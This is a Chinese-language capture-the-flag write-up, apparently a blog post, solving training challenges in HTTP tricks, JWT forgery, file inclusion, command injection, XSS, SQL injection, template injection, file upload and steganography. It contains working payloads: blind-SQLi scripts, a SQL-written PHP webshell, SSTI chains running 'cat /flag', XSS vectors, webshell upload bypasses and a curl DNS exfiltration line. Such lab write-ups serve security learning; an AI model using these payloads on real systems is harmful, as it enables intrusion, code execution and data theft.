yulin夏令营
Basic
1、Http
Pass me GET parameter "key1", let key1 be YulinSec
首先先直接在url修改 -> http://101.35.209.40:44505/?key1=YulinSec
Pass me POST parameter "key2", let key2 be "YulinSec"
然后用Burp将Get转换成POST,在Body parameters处添加上 key2=YulinSec
You must come from "YulinSec://127.0.0.1"
在Headers处添加上 Referer: YulinSec://127.0.0.1 修改来源
You must be admin!
在Cookie处的 admin=0 表示非管理员,需将 0 改为 1 ,即 admin=1
Solved!
补充总结:
2、302
重定向,抓包后用Repeater重新发出去,获得重定向链接以及答案
Solved!
3、Encode
四个字符串直接解码(虽然不知道第一串用什么编码,但是可以猜是 Yulin )
Solved!
4、Method
http有很多种Method,那么将Get改为其他的尝试
最后可知将 Get 改为 OPTIONS
Solved!
5、Calc-1
发现只能输入一个数字,打开F12,看到 maxlength 大小为 1,
改为2,填 66 后提交
Solved!
6、Calc-2
打开F12,发现 check()函数返回值为 false,在console处(控制台)重新写一个 check() 并返回 true,回答问题
发现还是不行,打开上一题对比一下,可以发现上一题是 name="result" ,而这一题是 id="result" ,改成和上一题一样,回答
Solved!
7、回答不够快,考虑直接用python写脚本回答
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
import time
service = Service("E:\Software\chromedriver\chromedriver-win64\chromedriver.exe")
brower = webdriver.Chrome(service=service)
url = "http://101.35.209.40:44504/"
brower.get(url)
//获取算式,用 F12 可以知道是 <p></p> 中的内容
content = brower.find_element(By.TAG_NAME, "p").text
result = eval(content) //计算
print(result)
brower.find_element(By.XPATH, "/html/body/form/input[1]").send_keys(result) //填写答案
brower.find_element(By.XPATH, "/html/body/form/input[2]").click() //点击提交
time.sleep(5)
//获得 Flag 并查看
Solved!
8、Https
You must be admin!
没有什么突破口,好像只有一个token,用base64解码后,有JWT、iat、jti、exp等字样,上网学习,得知是 jwt 一种token的加密方法
首先将 admin 的值改为 1
继续学习,发现可以将 Headers 中的 alg 的值改为 "none" ,表示不使用加密,然后令 signature 部分(第三部分)置空
最后两部分分别encode即可(注意最后的点要点上!!)
Solved!
【Basic】 全部解决
【Local File Inclusion】
LFI-1、
flag就在在当前目录的flag.php文件中
直接在 url 后面加上 ?file=flag.php 来访问同目录下的 flag.php 文件
LIF-2、
访问 /?file=flag.php -> tips:flag在当前目录的某个文件中
尝试访问该目录中的文件
利用 Burp 抓包,在 GET 请求 body 加上 来列出目录中文件,发现 flag_754297461.txt 这个文件比较可疑
直接在 url 后面加上 ?file=flag_754297461.txt 来访问文件
LFI-3、
重复 T2 的操作,发现 php://input 没法用了,尝试用 data:// 来访问该目录中的文件
data:// 的操作为,在 url 后加上 ?file=data://,
即直接在 url 中加上 php 代码
发现 flag_21843732549.txt ,访问得到 flag
LFI-4、
访问 flag.php 文件,说 flag 就在这里,但没有显示,阅读学习资料后得知
“要将内容进行编码 base64 后显示,再自己解码”
在 url 后加上 ?file=php://filter/read=convert.base64-encode/resource=flag.php
表示访问 flag.php ,并用 base64 解码
得到字符串后再自己解码
LFI-5、
LFI-6、
上传图片马(图片+一句话木马),接着可以用 php://filter 来执行图片中的代码
但是!!! php://filter 被加到黑名单里了,用不了
.htaccess 文件也上传不了(用来更改特定类型文件的处理方式,使其被当作PHP代码执行)
最后问学长才知道用 jpg 图片是做不了的!!!
卡了半天,重新开始
发现还能传输 zip 文件,那么可以试着在zip文件里放个php文件,然后用 zip:// 或者 phar:// 来访问运行
注意是在 index.php 中运行!!!!
http://101.35.209.40:21005/index.php?file=phar://uploads/56ac2dfd390daf37419ed473a8d709aa.zip/1
然后就和上面一样了
LFI-7、
首先观察主要的代码,发现 session_start() ,要用 session包含漏洞 来做
首先我们需要传入 Cookie,以此来创建一个 sess_... 类的文件,这个文件中的 username 可以理解为可执行的php代码,所以我们需要在 url 中传入 a,其值为一句话木马
最后访问这个 sess 文件就可以找到 flag 的文件了
【Local File Inclusion】 全部解决
RCE
RCE-0
先看看当前目录有什么 101.35.209.40;ls
发现没有什么重要的,往上翻一层 101.35.209.40;cd ..;ls
没有发现flag,继续往上翻 101.35.209.40;cd ..;cd ..;ls
继续 101.35.209.40;cd ..;cd ..;cd ..;ls ,发现 flag_3124131231 文件
101.35.209.40;cd ..;cd ..;cd ..;cat flag_3124131231 即可
注意:
所以尽量多用 ';' ,因为不知道会出现些什么奇怪的错误
RCE-1
输入过滤了&|;
查找资料,发现可以使用 %0a ,但是需要在 Request 里使用
然后就和上一题差不多了
RCE-2
过滤了好多字符 -> " ' \ $ ` ? - [ ]
过滤了几个指令 -> cat ls
STFW
这种方式主要是针对文件名那几个字符被过滤时可以使用,就是用?或者*来代替具体的字符
但一定注意这是针对文件名的哈,命令是肯定不能直接这么用的,但linux下命令其实也是文件
比如说像cat就对应文件/bin/cat,ls就对应文件/bin/ls等等,我们也可以用类似的方法进行构造:
ls -> /bin/l?
cat -> /bin/c??
像preg_match("/.*f.*l.*a.*g.*/", $ip)这种flag字样都是被过滤了的,我们用通配符就很好用:
cat /flag -> /bin/ca? /????
试了一下好像只有 /bin/c?? 有用
根据前几题的经验,可以知道 flag 文件所在位置,庆幸的是 cd 可以使用,并且 flag 也没有被加入黑名单
;cd ../;cd ../;cd ../;type flag_*
(这个 type 其实是 Windows 系统中能输出文件内容的命令,是我看错了拿来用的(((,没想到 Linux 下真的有个同名的命令,作用是显示指定命令的类型,但我看也可以用来显示文件名(((误用))
可以得到 flag 文件名为 flag_12312321
然后就 ;cd ../;cd ../;cd ../;/bin/ca* flag_12312321
虽然说满屏乱码,但是查找一下可以发现 flag 在最后
RCE-3
过滤了好多字符 -> / " ' $ ` - [ ]
过滤了几个指令 -> cat ls
发现 / 被过滤了,有点难办,继续 STFW
偶然发现
那就和上一题一样,得到 flag 的文件名
稍微试了一下发现 sort (用于输出)可以使用,那就直接搞得到 flag
(话说上一题和上上题好像在给我提示说用 url编码 和 base64编码 (()
RCE-4
稍微试了以下,好像无回显
;ls;sleep 5 发现网页在加载,sleep 命令确实有执行,证明确实无回显
然后就是 STFW
有前几题可以知道 flag 文件位置,尝试用写入的方法,但是失败了
创建文件后文件无法访问,会不会是被删除了,还是命令被过滤了
反正写入这条路是走不通了,看看其他方法
发现 Ⅵ.DNS请求 比较好懂,试试这个
利用 curl 命令
.域名 这个操作,获得回显(只会显示第一行,会替换掉``中的内容)
那就简单了,直接 ;curl cd ../;cd ../;cd ../;cat flag_*
.abcdef.ceye.io (此处链接使用自己的 Identifier )
获得输出
【RCE】 全部解决
XSS
XSS-1、
发现什么都没有,先看看 F12
发现隐藏的信息
在一般的测试中,我们通常使用alert()来触发一个弹窗,表示已经成功向页面中注入了一段恶意js代码。当你成功让页面自动触发一个弹窗,你将会得到flag。(当然,自己手动触发的不算~)
那么我们就在 url 处借助 name 注入 alert() -> ?name= , 得到 flag
XSS-2
STFW
但是没用,F12 看一下,发现变成了编码,可能是尖括号被过滤了
试试其他的,看了下网络源代码,发现只有单引号,双引号变成了 ",只能用单引号
那就只能考虑注入事件属性来 xss ,可以考虑用 onfocus 和 onerror (为了处理第二个单引号)
<input name=keyword value='' onfocus=alert(1) onerror=''>
XSS-3
查看源代码发现是双引号,那上一题的代码换双引号试试,没想到竟然成功了(
XSS-4
稍微试了一下,发现 on 被过滤了 on -> o_n ,script 也被过滤了
用 <a href=javascript:alert('1') > 1</a>
就成功了
用 <img src=javascript:alert(1)>
却失败了,可能是版本不够
XSS-5
稍微试了一下发现 script 被删除了,那么直接双写就好了
删完一个 script 后就只剩下
XSS-6
过滤的字符 -> " < > &
但是发现源代码里将输入传到了超链接里,尝试使用 javascript:alert(1) 输入
发现超链接中 <a href="javascr_ipt:alert(1);">
,javascript 被过滤了
可以尝试换行来防止过滤,注意换行要在 url 输入,用 %0a
类似这样 -> ?keyword=javascri%0apt:alert(1);&submit=添加友情链接
XSS-7
稍微试一下 ?keyword=...
过滤的字符 -> " < > ,发现是在 keyword 里面过滤的
因为查看源代码,看到还有三个变量可以输入,分别试了一下,发现只有 t_sort 有用
试一下发现 < > 被过滤了,上网找找有什么好用的事件
有个 onmousemove ,用法 ->
但是同时还要将 t_sort 的 type 改成 text 或者 button
?t_sort=" onmousemove=alert(1) type="text
【XSS】 全部解决
SQL Injection
学长精品推荐学习资料() -> SQL注入由简入精
SQL-1、
首先可以判断是数字型的查询
我们需要用 order by(或 group by )来判断当前表的列数
?id=1 order by 3
能正常输出且最大,那列数就是3
接着获取当前数据库名称
?id=-1 union select 1,2,database()
id=-1 是为了查询的那一行不回显
然后就可以看看表名了
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
发现目标 flag 表,看看表里的列名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='flag'
flag 表里的列名有 id 和 flag,那就直接查询了
?id=-1 union select 1,2,flag from flag
这样就差不多是注入的完整流程了
SQL-2、
判断为数字型查询
?id=2 union select 1,2,databese()
可以通过写错命令来获得库名
?id=2 union select 1,2,extractvalue(1,concat(0x7e,database()))
或者通过 extractvalue() 函数来报错获得库名
原理如上
后面可以
?id=2 union select 1,2,extractvalue(1,concat(0x7e,___))
将下划线部分替换成注入命令就可以通过报错来获得命令的回显了
那么流程就和上一题差不多
但是有一个问题,就是报错默认只能显示32个字符,可以用 substring() 函数解决
试了一下,好像最多只能显示32个字符,但是可以改变开始输出位置
?id=2 union select 1,2,extractvalue(1,concat(0x7e, substring((select flag from flag),1,30) ))
?id=2 union select 1,2,extractvalue(1,concat(0x7e, substring((select flag from flag),31,30) ))
然后接起来就ok(虽然有点麻烦()
也可以使用 updatexml() 函数,或 floor() 函数,详细的可以看上面的学习视频
SQL-3、
http://101.35.209.40:20003/?id=1 and ascii(substring((select flag from flag),1,1))=ascii('a')
类似这样,上面这行注入就什么都不会显示,返回的是 False
http://101.35.209.40:20003/?id=1 and ascii(substring((select flag from flag),1,1))=ascii('Y')
而像上面这行注入就会有显示(比如本题中显示'OK'),返回的是 True,证明得到的第一个字符为 'Y'
那就可以写个 python 脚本来一个一个试,最后得到完整的回显(我是写一个一个试,虽然会跑很久(()
(也可以写二分,但是感觉会写出 bug 然后调很久(()
import requests
headers = {"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0"}
now = 1
st = ""
while 1:
ox = 33 # !
x = chr(ox)
url = f"http://101.35.209.40:20003/?id=1 and ascii(substring((select flag from flag),{now},1))=ascii('{x}')"
res = requests.get(url)
while 'OK' not in res.text:
ox += 1
x = chr(ox)
url = f"http://101.35.209.40:20003/?id=1 and ascii(substring((select flag from flag),{now},1))=ascii('{x}')"
res = requests.get(url)
st += x
now += 1
print(x)
if x == '}':
break
print(st)
写的不是很好看()
SQL-4、
其实原理和上一题差不多,也是一个字符一个字符尝试,但是这道题返回 True 也没有回显,那么可以使用 sleep() 函数来判断字符是否正确
那还是用 python 写个脚本来试
import requests
headers = {"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0"}
url="http://101.35.209.40:20004/?id=1 and if(ascii(substr((select flag from flag),1,1))=ascii('Y'),sleep(2),sleep(0)) "
now = 1
st = ""
while 1:
ox = 33
x = chr(ox)
url = f"http://101.35.209.40:20004/?id=1 and if(ascii(substr((select flag from flag),{now},1))=ascii('{x}'),sleep(2),sleep(0))"
res = requests.get(url)
t = res.elapsed.total_seconds()
while t < 2 or t > 2.5:
ox += 1
x = chr(ox)
url = f"http://101.35.209.40:20004/?id=1 and if(ascii(substr((select flag from flag),{now},1))=ascii('{x}'),sleep(2),sleep(0))"
res = requests.get(url)
t = res.elapsed.total_seconds()
st += x
now += 1
print(x)
if x == '}':
break
print(st)
但是这道题有一个相当重要的点,就是 t 的限制范围和网络一定要搞好,不然网卡了接收也会变久,然后就被判断为 True ((
SQL-5、
经典过滤,过滤了 空格 and or union select +等
绕过空格可以用 %0A
绕过 and or union select 等关键词可以用大写绕过,例如 aNd Or uNion sElect等
注意本题的闭合方式是 ?id=1")) ... or (("1"="1
,稍微试一下就知道
那么就可以注入了
?id=0"))%0AUnion%0ASelect%0A1,(Select%0Aflag%0Afrom%0Aflag),3%0AOr%0A(("1"="1
SQL-6、
小试一下
提示是getshell
那就模仿上文
?id=0 union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile '/app/public/666.php'--+
然后用蚁剑连接就行
SQL-7、
有点奇怪,直接POST传就出了,看看是不是题目有问题()
SQL-8、
宽字节注入
那就照样来绕过 addslashes() 函数
?id=0%df" union select 1,2,flag from flag --+
SSIT
SSIT-1、
入门
SSIT-2、
绕过了 {{
看起来好像第三种方便一点(
import requests
headers = {"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0"}
url = "http://101.35.209.40:7772/"
for i in range(0,500):
# data = {"text": "{{ ().__class__.__bases__[0].__subclasses__()["+str(i)+"] }}"} 7771
data = {"text": "{%print( ().__class__.__base__.__subclasses__()["+str(i)+"] )%}"}
res = requests.post(url=url, headers=headers, data=data)
if 'os._wrap_close' in res.text:
print(i)
break
# print(res)
其实和上一题差不多
注意 data 里面要用 ().__ 而不是 "".__ ,不然双引号会闭合
SSIT-3、
过滤了 [ ] ,则
感觉第一种好写点
SSIT-4、
被坑了(
如果在 POST 里面传输数据的话就要将 request.args 替换为 request.values
然后,text 等于后不要加空格!!!
比如
text={{...
不要写成
text = {{...
!!!
然后就照前面搞了
text={{ ()[request.values.class][request.values.bases][0][request.values.subclasses]()[127][request.values.init][request.values.globals]['popen']('cat /flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__&init=__init__&globals=__globals__
SSIT-5、
事实就是被骗了,chr函数在
().__class__.__base__.__subclasses__()[127].__init__.__globals__.__builtins__.chr
这里面
然后就和前面一样(
text={% set chr=().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__base__.__subclasses__()[127].__init__.__globals__[chr(112)+chr(111)+chr(112)+chr(101)+chr(110)](chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)).read() }}
# {{().__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('cat /flag').read()}}
这里面引号不用编码
SSIT-6、
过滤了 .
那就是依样画葫芦了(感觉这份学习资料挺全的((
{{ ()['__class__']['__base__']['__subclasses__']()[127]['__init__']['__globals__']['popen']('cat /flag')['read']() }}
SSIT-7、
那就将关键词编码就OK
{{ ()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[127]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('cat /flag').read() }}
SSIT-8、
STFW
特别注意上面这一条,就是被这一条折磨了好久,所以能不用 pop 就不用
那么我们写的 payload 应该为
{{().__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('cat /flag').read()}}
则可以
text={%set qwq=dict(a=a)|join|count%} #【qwq=1】
{%set n=dict(aaaaaaaaa=a)|join|count%} #【n=9】
{%set th=dict(aaaaaaaaaaaaa=a)|join|count%} #【th=13】
{%set t=dict(aa=a)|join|count%} #【t=2】
{%set e=n*t%} #【e=18】
{%set num=n*th+n+qwq%} #【num=127】
{%set gannum=e*t+n+qwq+qwq%} #【gannum=47】
{%set p=dict(pop=a)|join%} #【p=pop】
{%set s=lipsum|string|list|attr(p)(n)%} #【s= 】
{%set x=lipsum|string|list|attr(p)(e)%} #【x=_】
{%set cl=(x,x,dict(cla=a,ss=a)|join,x,x)|join%} # 【cl=__class__】
{%set ba=(x,x,dict(ba=a,se=a)|join,x,x)|join%} #【ba=__base__】
{%set su=(x,x,dict(subclas=a,ses=a)|join,x,x)|join%} # 【su=__subclasses__】
{%set ge=(x,x,dict(geti=a,tem=a)|join,x,x)|join%} # 【ge=__getitem__】
{%set in=(x,x,dict(in=a,it=a)|join,x,x)|join%} # 【in=__init__】
{%set gl=(x,x,dict(glo=a,bals=a)|join,x,x)|join%} # 【gl=__globals__】
{%set bu=(x,x,dict(buil=a,tins=a)|join,x,x)|join%} # 【bu=__builtins__】
{%set ch=dict(c=a,hr=a)|join%} # 【ch=chr】
{%set po=dict(po=a,pen=a)|join%} #【po=popen】
{%set re=dict(re=a,ad=a)|join%} # 【re=read】
{%set get=dict(get=a)|join%} # 【get=get】
{%set gc=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(num)|attr(in)|attr(gl)|attr(get)(bu)|attr(get)(ch)%} # gc为chr()函数,为了得到"/"
{%set pa=(dict(cat=a)|join,s,gc(gannum),dict(flag=a)|join)|join%} # 【pa=cat /flag】
{{()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(num)|attr(in)|attr(gl)|attr(ge)(po)(pa)|attr(re)()}}
# ().__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('cat /flag').read()
这种就先写出 payload,然后再想想办法把过滤的关键字替换掉就ok
SSIT-9、
其实和上一题差不多,因为刚刚写的都把关键字给避开了,所以改一改,直接数字用上就ok
【SSIT】 全部解决
File Upload
Upload-1、
上传一句话木马,将格式改为 jpg ,上传的时候用 bp 抓包,将 jpg 格式改为 php , 然后就可以连蚁剑了,flag在根目录里
Upload-2
上传一句话木马,将格式改为 jpg
题目提示说 .htaccess 文件,搜索后发现可以在文件中添加
AddType application/x-httpd-php .jpg
修改 jpg 文件的 MIME 类型,使其能够在浏览器中作为脚本执行,通俗讲就是可以将 jpg 文件当作 php 代码,然后蚁剑连接找 flag
Upload-3
做法和第一题差不多,因为没有限制 MIME 的类型
有的话做法如下:
Upload-4
现在传入 jpg 文件还会检查文件头标志,那么可以找一张图片,和一句话木马结合,然后做法如题一
Upload-5
str_ireplace() 不区分大小写
可知一些后缀被加入了黑名单,会被删除,但发现只会删除一次
做法同1
Upload-6
str_replace() 区分大小写
那就改成 pHp 等等,反正识别的时候不区分大小写(
做法同1
Upload-7
注意路径和文件名都要改,然后不用手动解码,因为这是在 url 中的,网页会自动解码
最后就可以连接上 http://101.35.209.40:30007/upload/sl.php 了
!!注意因为截断,sl.php 这个文件就会传输进去,所以可以连接上这个文件
最后找 flag
Upload-8
发现和上一题有点区别,在网上查查
改改 body 里的路径,注意 %00 要 url-decode,因为这里的路径网页并不会自动解码,文件名可以不用改
最后连接上 666.php 就可以了
Upload-9
上传黑名单,多次尝试后
所以将 .php 改为 .php5 ,然后蚁剑连接
学习文献:
Upload-10
题目提示条件竞争,STFW
其实挺好理解的,就是在上传文件和检查文件之间其实有一点点时间空隙,那我们可以直接传入以下代码
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[123]);?>');?>
只要在完成安全检查(检查后缀)之前进行访问,就可以在执行代码然后再当前目录下生成另一份 php 代码,再进行蚁剑连接
所以直接用 Burp 爆破,传两份访问请求,一份用于上传,一份用于访问
但是出意外了,怎么也访问不到(
首先有第一个问题
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST['cmd']);?>');?>
但是
所以只写入了下面这些东西
'<?php eval($_POST['
但是一直访问不到的问题还没解决
因为我一直用的是群里发的 burp 的社区版
然后研究了一下,发现我一直忽略了 ->
换上了专业版之后,发送的速度一秒能传几百条,很快就访问成功了(
破案了
Upload-11
先学习一下
上传一张 gif ,然后再下载下来,用 Winhex 打开,对比一下和原来那张有哪里是一样的
然后在一样的部分上换成一句话木马后,上传,连接
?file=upload/1089780701.gif
但是我又出锅了,flag 怎么都显示不出来(
研究了好久 + 问学长 之后,才知道蚁剑有的时候会缓存奇怪的东西,导致原本的东西显示不出来
只要清一下缓存就好了
Upload-12
提示 move_uploaded_file(img_path) 有其他的漏洞
STFW
类似的,上传一份 php 文件 1.php
然后将文件名命名为 1.php/.
利用 /. 绕过黑名单检测,成功上传后蚁剑连接 1.php 就行了
Upload-13
看 Hint ,仔细翻一下上传的源代码
先判断 MIME 类型,然后根据 '.' 来分割文件名,判断最后一个字符串是否在白名单内,是的话就取第一个字符串和最后一个字符串组成文件名再上传
想半天,感觉好像没什么漏洞(
还是 STFW
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集
(还是 STFW 厉害)
原理大概是令 $_POST['save_name'] ->
$_POST['save_name'][0]='1.php/';
$_POST['save_name'][2]='jpg';
$file=$_POST['save_name'];
然后此时 $file 就是一个数组了,所以不会执行下面这一步
那后面的就好理解了,照代码模拟下来就会发现传入的文件名变成了 1.php/. ,然后连接就行
哈哈哈这个操作真的牛逼
【File Upload】 全部解决
签到题
见此 https://www.cnblogs.com/BUGCAT/p/17781082.html
[Baby]babyphp
flag1
对于flag1,只有传入的a和b的值不相等,而且SHA1加密后的值相同才会出现flag
php对数组进行sha1加密都为false,所以我们传入两个数组进去
http://101.35.209.40:2003/?a[]=1&b[]=2
flag2
代码中给提示说要 cat /flag
,那就是要将 Yu 赋值为 exec('cat /flag');
但是!这种肯定不是暴力碰撞出来的(,所以只能找工具生成
看到工具生成的两个文件后面有乱码,为了不影响代码就可以在 exec('cat /flag'); 加上 ?> 来终止 php 的执行
这里有几个要注意的点(卡了好久):
工具生成的文件中会有Hex值为 00 的字符,如果是直接复制粘贴文件内容然后到 url 处输出就错了,首先 00 会变 20 (空格),还有一些乱码也可能会被错误识别,正确的做法是直接将文件中的内容拿去 url 编码,然后贴在 url 里面就OK了(这里直接用Burp一条龙处理就OK)
exec('cat /flag'); } ?>
这种其实是错误的,是不需要花括号的,我本来以为 eval() 函数是一个直接代码替换,虽然说可以这么理解,但是编译器会首先检查 eval() 中的字符串是否是可执行的代码,是的话才能替换,所以如果加了花括号,就会报错,因为缺少了匹配的花括号( eval() 函数内的代码字符配对和函数外的完全无关 )
最后有个最难受的,就是 exec('cat /flag'); 这条指令,cat 虽然是输出用的,但是这里要输出到一个文件或变量中去,就要改为 exec('cat /flag',outp 这个变量里,最后再输出就行了,所以要传入的代码是这样的
exec('cat /flag',$outp);
print_r($outp);
?>
【[Baby]babyphp】 全部解决
[Baby]babyunserialize
flag1
对于flag1,观察代码可知会将 POST 数据中的 auth 反序列化,然后判断其中的值,那么只要创建有对应值的数组(类好像没法反序列话) auth,然后 POST 传入就行
!!注意传 POST 时 Content-Type 这行要加
[Easy]♪绝♩对♫音♬感♪
这道题做做停停,终于搞出来了
下载音频,看看波形图,好像没什么东西
用 Winhex 或类似软件打开,看看头和尾,末尾有这么一句话
The interval of each byte data is 9 and the first byte is at the beginning of the wav data
每隔九个,我把编辑器设置一下
这样就比较好看,如果有隐藏信息的话就是一排下来
然后就可以翻到这个东西,看起来像一封邮件,和题干里说的一样
但是没有找到三体((,接下来就不会做的了
闲的时候水水群,看到这么一段聊天(
原来题干里有提示,赶紧重新仔细看一下题干,邮件特别标注了英文名 Spam ,网上搜搜,有惊喜发现
还得是群里的佬
然后就尝试把文本里的邮件给抽出来
一开始脑抽了,一个一个对照然后打在记事本里,结果就是打了一堆小错误,换行也没有注意
检查半天解码后得到的是乱码,直接放弃人工赛道了,不如自己写个 C++ 程序提取
相当简单,没十五分钟就提取出来了(16进制编码)(我前面到底在干什么
然后把编码去解码一下就得到邮件的文本了,再去 spam mimic 网站解码一下就得到 flag 了
[Easy]♪绝♩对♫音♬感♪ 解决
[Middle]马赛克星球
恢复图片了!
下载附件,发现图片很大,23.1M,但是分辨率只有 648*328 (这数字一看就是故意搞的()),所以我们可能要修改一下图片的尺寸
STFW
CTF Misc(1)图片隐写基础以及原理,覆盖了大部分题型
所以来进行CRC爆破
用hex打开图片看看
import os
import binascii
import struct
crcbp = open("D:\pythonProject\Recycle.png", "rb").read() #打开图片
# print(crcbp)
for i in range(10000):
for j in range(10000):
data = crcbp[12:16] + \
struct.pack('>i', i)+struct.pack('>i', j)+crcbp[24:29]
crc32 = binascii.crc32(data) & 0xffffffff
if(crc32 == 0x8990B635): #图片当前CRC
print(i, j)
print('hex:', hex(i), hex(j))
break
爆破后可以得到图片的分辨率为 3000*4200 ,在hex中进行修改,可以得到完整图片,下面附有flag
找到隐藏的信息了!
继续看看hex,发现最后有一段python代码
from PIL import Image
import math
import random
final_image = Image.open("base.png")
flag_image = Image.open("flag.png")
final_image_width = final_image.width
final_image_height = final_image.height
flag_image_width = flag_image.width
flag_image_height = 156
prime_li = []
c_li = []
if __name__ == '__main__':
a = 0
c = 0
while 1:
a += 1
if is_prime(a):
prime_li.append(a)
c += 1
if c > flag_image_width * flag_image_height:
break
for i in range(0, len(prime_li) - 1):
value = (prime_li[i] + prime_li[i + 1]) * (prime_li[i + 1] - prime_li[i])
if value in c_li:
while value in c_li:
value -= i
c_li.append(value)
k = 0
for num in c_li:
try:
final_image.putpixel(
(num % final_image_width, int(num / final_image_width)),
flag_image.getpixel((k % flag_image_width, int(k / flag_image_width))),
)
k += 1
except:
print(f"The num: {num} is too big")
for yy in range(0, final_image_height):
for xx in range(0, final_image_width):
if (yy * final_image_width + xx) not in c_li:
final_image.putpixel(
(xx, yy),
(
random.randint(0, 255),
random.randint(0, 255),
random.randint(0, 255),
),
)
final_image.save("mosaic.png")
仔细读了一下,发现是把flag的图片写入给的图片,然后其他的地方就随机生成色块
我们就可以依照上面,试着写出解密的代码
import math
from PIL import Image
shai = []
prime_li = []
c_li = []
final_image = Image.open("Recycle(2).png")
flag_image = Image.open("flag.png")
final_image_width = final_image.width
final_image_height = final_image.height
flag_image_width = flag_image.width
flag_image_height = 156
# Total = 500000000
#
# shai = [True] * (Total+1)
# shai[0] = shai[1] = False
# for i in range(2,int(math.sqrt(Total+1))):
# if shai[i]:
# for j in range(i*i, int(math.sqrt(Total+1)), i):
# shai[j] = False
#
# print("Part 1 Finish")
# print(Total)
#
# def is_prime(x):
# if x < 0:
# return False
# return shai[x]
# 一开始写了一段埃筛发现不好判断筛的范围,可能会跑很久()
def is_prime(x):
if x <= 1:
return False
for i in range(2, int(math.sqrt(x)+1) ):
if x % i == 0:
return False
return True
if __name__ == '__main__':
a = 0
c = 0
while 1:
a += 1
if is_prime(a):
prime_li.append(a)
# print(f"qwq {a}")
c += 1
if c > flag_image_width * flag_image_height:
break
for i in range(0, len(prime_li) - 1):
value = (prime_li[i] + prime_li[i + 1]) * (prime_li[i + 1] - prime_li[i])
if value in c_li:
while value in c_li:
value -= i
c_li.append(value)
# print(f"qwq {value} {len(c_li)} {len(prime_li)}")
print(len(c_li))
k = 0
for num in c_li:
try:
flag_image.putpixel(
(k % flag_image_width, int(k / flag_image_width)),
final_image.getpixel((num % final_image_width, int(num / final_image_width))),
)
k += 1
except:
print(f"The num: {num} is too big")
break
flag_image.save("mosaic.png")
这里的 Recycle(2) 就是上面那张图片中间的乱像素点,要把它截出来,这个比较考验技术力和耐心((
现在就只需要看看 flag_image.width 定多大合适
经过多次尝试,以及翻了Akejyo大佬的blog(
得知定 38 刚好不会报 "The num: {num} is too big"
然后就得到
看起来挺有规律的一张图(至少不是乱码),STFW,试试用 npiet 解一下
[Middle]马赛克星球 解决
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· DeepSeek 开源周回顾「GitHub 热点速览」
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了